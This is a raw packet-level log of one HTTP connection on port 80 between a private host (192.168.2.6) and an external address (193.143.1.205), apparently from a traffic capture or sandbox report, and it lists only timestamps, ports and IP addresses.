Jan 11, 2025 01:58:51.464911938 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.464951992 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.465159893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.465176105 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.465189934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.465205908 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.465219021 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.465250969 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.465424061 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.465466976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.465482950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.465513945 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.465785980 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.465828896 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.465837002 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.465852976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.465893984 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.466008902 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.466023922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.466038942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.466054916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.466064930 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.466093063 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.466293097 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.466308117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.466324091 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.466348886 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.466681957 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.466726065 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.470408916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.470422983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.470438004 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.470496893 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.470527887 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.470570087 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.473470926 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.485063076 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.499025106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.499119043 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.499134064 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.499146938 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.499195099 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.499222994 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.508377075 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.526051998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.526089907 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.526109934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.526127100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.526141882 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.526170969 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.526267052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.526283979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.526300907 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.526329994 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.526452065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.526468039 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.526495934 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.526514053 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.526535034 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.526566982 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.551029921 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.551091909 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.551109076 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.551122904 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.551156998 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.551170111 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.551191092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.551230907 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.552834988 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.552901983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.552917004 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.552953005 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.553003073 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.553020000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.553050995 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.553248882 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.553266048 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.553282976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.553294897 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.553325891 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.553374052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.553388119 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.553404093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.553421021 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.553431034 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.553462029 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.578192949 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.578218937 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.578248024 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.578265905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.578285933 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.578310966 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.578357935 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.578399897 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.578417063 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.578435898 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.578444958 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.578455925 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.578480959 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.578685045 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.578702927 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.578717947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.578726053 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.578737020 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.578762054 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.579055071 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.579071999 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.579088926 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.579106092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.579188108 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.579417944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.579432011 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.579447031 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.579463959 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.579464912 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.579480886 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.579493046 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.579498053 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.579515934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.579524040 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.579533100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.579549074 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.579560041 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.579566002 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.579591036 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.580221891 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.580238104 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.580254078 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.580269098 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.580269098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.580287933 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.580297947 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.580303907 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.580321074 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.580323935 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.580337048 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.580351114 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.580353975 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.580369949 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.580384970 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.580400944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.580400944 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.580419064 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.581180096 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.581197977 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.581209898 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.581224918 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.581224918 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.581243038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.581248999 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.581259966 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.581275940 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.581284046 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.581293106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.581309080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.581314087 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.581327915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.581345081 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.581351042 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.581362009 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.581377983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.581383944 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.581413984 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.582006931 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.582024097 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.582065105 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.583195925 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.583225965 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.583262920 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.583265066 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.583345890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.583363056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.583386898 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.583513021 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.583529949 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.583547115 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.583555937 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.583565950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.583590031 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.583756924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.583774090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.583791018 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.583806992 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.583833933 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.583888054 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.583939075 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.583955050 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.583971024 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.583977938 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.584003925 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.584177017 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.584192991 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.584208012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.584223032 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.584232092 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.584239006 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.584255934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.584264994 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.584270954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.584296942 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.584609032 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.584634066 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.584650040 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.584656000 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.584666967 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.584702015 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.584861040 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.584877014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.584892988 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.584907055 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.584909916 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.584954023 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.585048914 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.585102081 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.590720892 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.616756916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.616776943 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.616796970 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.616831064 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.616887093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.616904020 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.616920948 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.616936922 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.616938114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.616954088 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.617238045 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.617254972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.617270947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.617279053 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.617289066 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.617305040 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.617311954 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.617340088 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.617512941 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.617539883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.617578983 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.619862080 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.619885921 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.641846895 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.641861916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.641880035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.641913891 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.641976118 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.641992092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.642007113 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.642023087 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.642024994 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.642047882 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.643501997 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.643528938 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.643544912 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.643551111 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.643579960 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.643698931 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.643762112 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.643802881 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.643831968 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.643846035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.643861055 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.643878937 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.656227112 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.660974026 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.668837070 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.668862104 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.668879986 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.668894053 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.668921947 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.668975115 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.669035912 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.669053078 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.669069052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.669080019 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.669114113 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.669261932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.669280052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.669313908 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.669423103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.669440031 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.669456005 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.669473886 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.669483900 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.669492006 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.669518948 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.669719934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.669738054 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.669754982 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.669768095 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.669771910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.669790030 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.669795990 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.669806957 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.669823885 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.669838905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.669840097 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.669872999 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.670263052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.670279026 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.670295954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.670310020 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.670314074 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.670331001 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.670356035 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.670356989 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.670389891 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.670623064 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.670639992 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.670655966 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.670669079 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.670672894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.670690060 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.670706987 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.670722961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.670737982 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.670756102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.670767069 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.670767069 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.670777082 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.670779943 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.670794010 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.670804977 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.670840979 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.671353102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.671370029 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.671379089 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.671386003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.671402931 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.671422005 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.671425104 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.671437979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.671453953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.671466112 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.671468973 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.671484947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.671500921 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.671503067 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.671518087 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.671530008 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.671534061 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.671550989 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.671560049 CET	49709	80	192.168.2.6	193.143.1.205
